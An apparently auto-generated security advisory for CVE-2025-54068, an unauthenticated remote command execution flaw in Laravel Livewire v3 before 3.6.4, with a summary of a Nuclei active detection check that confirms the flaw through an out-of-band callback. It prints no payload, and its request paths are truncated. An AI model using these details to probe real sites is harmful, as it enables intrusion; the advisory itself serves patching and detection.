CVE-2025-54068: Laravel Livewire Code Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
Livewire is a full-stack framework for Laravel. In Livewire v3 up to and including v3.6.3, a vulnerability allows unauthenticated attackers to achieve remote command execution in specific scenarios. The issue stems from how certain component property updates are hydrated. This vulnerability is unique to Livewire v3 and does not affect prior major versions. Exploitation requires a component to be mounted and configured in a particular way, but does not require authentication or user interaction. This issue has been patched in Livewire v3.6.4. All users are strongly encouraged to upgrade to this version or later as soon as possible. No known workarounds are available.

How to detect it
Nuclei template (active check)
Laravel - Insecure Deserialization
Livewire is a full-stack framework for Laravel. In Livewire v3 up to and including v3.6.3, a vulnerability allows unauthenticated attackers to achieve remote command execution in specific scenarios.
Name and description quoted from the template, written by VEDAS.
The template sends 3 requests (GET /, GET /{{trim_prefix(update_uri,, GET /{{trim_prefix(update_uri,); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, json, regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
